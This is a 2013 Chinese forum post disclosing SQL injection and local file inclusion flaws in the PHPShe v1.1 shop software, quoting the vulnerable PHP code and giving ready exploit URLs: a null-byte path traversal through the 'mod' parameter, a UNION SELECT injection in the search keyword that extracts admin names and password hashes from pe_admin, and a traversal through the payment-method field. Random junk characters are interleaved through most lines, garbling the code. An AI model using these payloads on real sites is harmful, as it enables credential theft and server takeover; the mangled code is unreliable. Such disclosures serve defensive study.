找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2375|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
- X% @3 l: u1 x/* Phpshe v1.1 Vulnerability
( |5 C# ?. N, Y: u/* ========================
/ E7 q, j- L' |/* By: : Kn1f3
- @$ W$ o4 D: Z& r5 V/ W/* E-Mail : 681796@qq.com( q5 z" ~7 E( I/ @3 l5 a1 |' W+ Y
/*******************************************************/4 U) T" f- S1 S7 d. M3 W5 k
0×00 整体大概参数传输; e( l9 |- f4 j5 Z" f0 k8 k" [

! W7 v% `- X" A* S" t- ?" N- ~& O$ Q, a/ q3 y+ W

; ^* g, _( T5 w; ~. W//common.php
" m# m( w% x% j. pif (get_magic_quotes_gpc()) {
* j- w' o4 ?8 }2 k& O!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ o3 F5 A% T- N. a!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
  P! D/ n. j* X8 Z( {}
2 x$ m0 C0 V3 m! E* selse {( H& }2 Z' Z) t  {% }
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
; h+ n" U9 N, I5 V!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 P0 r/ w& ]7 v& W- A}
6 |8 X. `  n% l$ o) D( F( hsession_start();- x) V# ~0 B" o
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" t- ?8 h% r$ R' i+ A6 l) z& j!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
8 K, a+ L( B6 `$ f% S9 x, m2 h3 v) p) |; A0 \1 s% q
0×01 包含漏洞' G8 O7 A, y1 m7 \4 I. N

& w3 f. K3 s2 R* n, Z7 \" x

5 f) I( Q' O/ J6 x//首页文件
9 o5 \& }1 O7 Q4 C  R/ N<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);+ E$ [& }$ `. T% }
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞2 V0 O9 V1 ?  u4 p! B
pe_result();
/ x0 G5 a7 S8 \/ B. e?>
# \$ p4 Q. z3 g; d. g3 D//common 文件 第15行开始
) X( k* J6 x" i7 T. A2 p& {url路由配置+ ^0 R7 y; r  d1 W# n/ |2 v0 G
$module = $mod = $act = 'index';
4 y; V4 k5 J$ [/ ^- G- V$ n4 ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);* P5 {+ E( H" t1 d! W
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
* V6 m8 Z, j: j& ?& J' J$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
) c' o; V4 \3 {//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%007 J. L3 F4 p# A


0 c1 k. l# \" [! s2 n7 j
1 N3 Y- |1 C1 i8 m4 }2 s 0×02 搜索注入( c: T6 f, N8 W  r
1 Z% H! B6 j8 K% {$ W
<code id="code2">

//product.php文件' D% L3 E; o$ E' T: u
case 'list':' ]3 `7 x. I& u) S
$category_id = intval($id);
5 y* `: [! N1 ]3 T$info = $db->pe_select('category', array('category_id'=>$category_id));
/ W6 V# B# X( f) y//搜索1 ^/ [$ G2 V2 _' ~, y
$sqlwhere = " and `product_state` = 1";, c  ]* b8 p$ p. `* K
pe_lead('hook/category.hook.php');; I" G' J9 z& Q; U3 L8 ^
if ($category_id) {
- t. b) Q$ B" e; c0 }% {# T. ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' z- f5 V6 r  K  C* N6 e}
0 e' t' t1 e# X0 v  m0 y$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤/ R9 r( ?3 T( b- ~3 Z* c# ]
if ($_g_orderby) {) G7 f) V9 V$ }; [! S6 Z* ~# ?$ G
$orderby = explode('_', $_g_orderby);
$ [$ E6 o* D4 q" t7 \; F$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";0 e: ?( c3 A  w/ b' T+ K# }
}
" x- I4 V3 t) B: J" Yelse {$ W' z( ^5 }  E: q
$sqlwhere .= " order by `product_id` desc";7 f, n: M2 [: D& C! t" Z" p, n
}
1 L4 o9 H% T" g: P9 O$ b( S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
# X+ v8 M- H: y, q; v//热卖排行6 c2 W2 D6 e* Z& B" R/ W7 p) {. R
$product_hotlist = product_hotlist();
9 ]9 O3 N! A( E+ L3 H2 N//当前路径" `5 p& L" E* e, C, i4 r
$nowpath = category_path($category_id);
4 B" w% H. w. Y, ?$seo = pe_seo($info['category_name']);
7 P$ H7 v+ a3 b. }$ Dinclude(pe_tpl('product_list.html'));
  a% P8 x5 M3 h; f8 S2 x$ E//跟进selectall函数库: y7 N, o) F6 R" Z& j
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())! _5 `' P# s$ ]! ?, z3 d
{
: U! I$ V3 k( v) Y2 O4 @//处理条件语句
; d7 R4 u+ L- b2 E& u: v( {$sqlwhere = $this->_dowhere($where);  u' S, {' x  w. x7 o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
, M5 b: p. f6 b. Z. s! ?! D}
/ R$ T! e- b" p: |+ y//exp
. |0 R  s1 a. I; {* tproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='15 M$ t. N* ]/ V

</code>! N  t- u$ p) V' |

" N5 G6 j$ ^" s' n0×03 包含漏洞2
; }3 I/ F6 \- w% ~" Y, d/ Q/ d
0 h; v; j# x' P8 M1 \<code id="code3">

//order.php

case 'pay':

% a4 z8 Q# |9 o% u7 y1 Z1 ^
$order_id = pe_dbhold($_g_id);


. i( Y7 g( L: I: I' H' Z; e' F$cache_payway = cache::get('payway');

& ~) l4 c# ^& P+ Y7 |. q; Z& ~
foreach($cache_payway as $k => $v) {

2 S: I/ x( H. C7 }! D, j2 V. g9 U
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 p4 ?" C8 @, [* u2 I0 i
if ($k == 'bank') {

2 ?6 x9 [/ n4 Z2 e  N5 }
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 u9 s* w9 L- C' d3 p
}


! B6 v& E/ X! H& v}


7 z! A4 `2 q1 P+ z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


  k% i6 o' l" k# c% \, [!$order['order_id'] && pe_error('订单号错误...');

" ?4 i' s2 _8 P8 G# h. ?! X
if (isset($_p_pesubmit)) {

; S3 j, W5 A4 m2 y4 P
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

9 i/ B3 ?0 @5 c! v8 D1 G9 c
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

) z* q( C: N" {6 D) @
foreach ($info_list as $v) {


! z( T7 x. r$ ?( k8 |! o$order['order_name'] .= "{$v['product_name']};";* @9 [2 r# k6 x) m0 {  E0 |


& H; ^# Q" Q$ o0 C}

3 ?5 d( K3 B2 l( }3 d1 Y
echo '正在为您连接支付网站,请稍后...';


7 x1 ^( V. G( f1 `5 P- X( P# x8 Tinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


! A- U# P& ]( d- m. U* |8 A}//当一切准备好的时候就可以进行"鸡肋包含了"


+ r0 _: N! Y0 @) T1 ]else {


$ x. w8 a- Q, ?& epe_error('支付错误...');

0 y7 s/ n: y4 y' U+ b
}


( T; g; Q) X% t8 b3 j}

/ t' m. u5 ]9 D. F+ ]. s0 P
$seo = pe_seo('选择支付方式');


6 T( ]9 d$ r1 ~- uinclude(pe_tpl('order_pay.html'));

: L0 F3 N; t9 R- f
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
0 q6 l+ A& p8 N

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表